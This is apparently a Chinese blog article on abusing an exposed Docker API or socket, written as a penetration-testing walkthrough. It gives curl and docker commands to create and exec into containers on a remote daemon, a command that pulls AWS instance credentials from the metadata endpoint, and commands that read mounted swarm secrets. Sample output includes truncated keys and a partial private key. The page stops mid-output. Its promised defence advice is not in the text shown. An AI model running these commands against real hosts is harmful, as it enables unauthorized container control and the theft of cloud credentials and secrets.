Docker API与Socket滥用技术详解

本文详细介绍了如何通过暴露的Docker API和Socket进行安全渗透,包括容器创建、命令执行、敏感信息获取以及主机文件系统挂载等攻击技术,并提供了实际curl命令示例和防御建议。

滥用Docker API | Socket

注意:本文不涉及从Docker容器中逃逸的技术。

端口:通常为2375和2376,但可以是任意端口。

参考资源

启用Docker Socket(创建练习环境)

https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

暴露Docker API | Socket本质上等同于授予系统上任何容器的root权限。

守护进程默认监听在unix:///var/run/docker.sock,但你可以将Docker绑定到其他主机/端口或Unix套接字。

Docker套接字是Docker守护进程默认监听的套接字,可用于从容器内部或外部(如果配置了)与运行Docker的主机通信。

所有Docker套接字的魔法都是通过Docker API实现的。例如,如果我们想启动一个nginx容器,可以执行以下操作:

创建nginx容器

以下命令使用curl通过Unix套接字向Docker守护进程的/containers/create端点发送{“Image”:“nginx”}负载。这将创建一个基于Nginx的容器并返回其ID。

1
2
3
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

启动容器

1
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

如上所述,你也可以让Docker套接字监听TCP端口。

你可以通过版本请求验证它是Docker:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ curl -s http://open.docker.socket:2375/version | jq

{
  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

或使用Docker客户端:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
docker -H open.docker.socket:2375 version

Server:
Engine:
 Version:          1.13.1
 API version:      1.26 (minimum version 1.12)
 Go version:       go1.9.4
 Git commit:       07f3374/1.13.1
 Built:            Fri Dec  7 16:13:51 2018
 OS/Arch:          linux/amd64
 Experimental:     false

这基本上相当于进入容器的shell。

使用ps命令获取运行中的容器列表

1
2
3
4
5
6
7
8
9
docker -H open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                                       COMMAND                  CREATED             STATUS              PORTS                                                              NAMES
72cd30d28e5c        gogs/gogs                                                   "/app/gogs/docker/st…"   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp                       gogs
b522a9034b30        jdk1.8                                                      "/bin/bash"              5 days ago          Up 5 days                                                                              myjdk8
0f5947860c17        centos/mysql-57-centos7                                     "container-entrypoin…"   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                                             mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT           "java -jar /app.jar"     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                                           config
3f466b754971        42cb59080921                                                "/bin/bash"              8 days ago          Up 8 days                                                                              jdk8
6499013fdc2d        registry                                                    "/entrypoint.sh /etc…"   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                                             registry

进入其中一个容器

1
2
3
4
docker -H open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami
mysql

其他命令

是否有已停止的容器?

1
docker -H open.docker.socket:2375 ps -a

主机上拉取了哪些镜像?

1
docker -H open.docker.socket:2375 images

我经常无法让Docker客户端在执行exec命令时正常工作,但你仍然可以使用API在容器中执行代码。下面的示例使用curl通过https(如果启用)与API交互,创建和执行作业,设置变量以接收输出,然后启动exec以获取输出。

使用curl访问API

有时你会看到2376作为TLS端点。我无法使用Docker客户端连接它,但你可以使用curl轻松访问Docker API。

Docker套接字到元数据URL

https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec

以下是访问内部AWS元数据URL并获取输出的示例:

列出容器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
      "/docker_snip_1"
    ],
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 443,
        "PublicPort": 50278,
---SNIP---

列出容器中的进程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 {
  "Processes": [
    [
      "smss.exe",
      "7868",
      "00:00:00.062",
      "225.3kB"
    ],
    [
      "csrss.exe",
      "10980",
      "00:00:00.859",
      "421.9kB"
    ],
    [
      "wininit.exe",
      "10536",
      "00:00:00.078",
      "606.2kB"
    ],
    [
      "services.exe",
      "10768",
      "00:00:00.687",
      "1.208MB"
    ],
    [
      "lsass.exe",
      "10416",
      "00:00:36.000",
      "4.325MB"
    ],
 ---SNIP---

设置并执行作业以访问元数据URL:

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}

获取输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

{
  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"
}

Docker密钥

相关阅读:https://docs.docker.com/engine/swarm/secrets/

列出密钥(无密钥/未设置swarm)

1
2
3
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

列出密钥(存在密钥)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
[
  {
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21
    },
    "CreatedAt": "2018-07-06T10:19:50.677702428Z",
    "UpdatedAt": "2018-07-06T10:19:50.677702428Z",
    "Spec": {
      "Name": "registry-key.key",
      "Labels": {} }},

检查挂载内容

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

{"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}

通过启动exec获取输出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

overlay on / type overlay 
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---

查看挂载的密钥

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

{"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}
1
2
3
4
5
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'

-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---

如果你有密钥,也值得检查服务,以防它们通过环境变量添加密钥。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
curl -s --insecure https://tls-opendocker.socket:2376/services | jq

[{
    "ID": "amxjs243dzmlc8vgukxdsx57y",
    "Version": {
      "Index": 6417
    },
    "CreatedAt": "2018-04-16T19:51:20.489851317Z",
    "UpdatedAt": "2018-12-07T13:44:36.6869673Z",
    "Spec": {
      "Name": "app_REMOVED",
      "Labels": {},
      "TaskTemplate": {
        "ContainerSpec": {
          "Image": "d
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计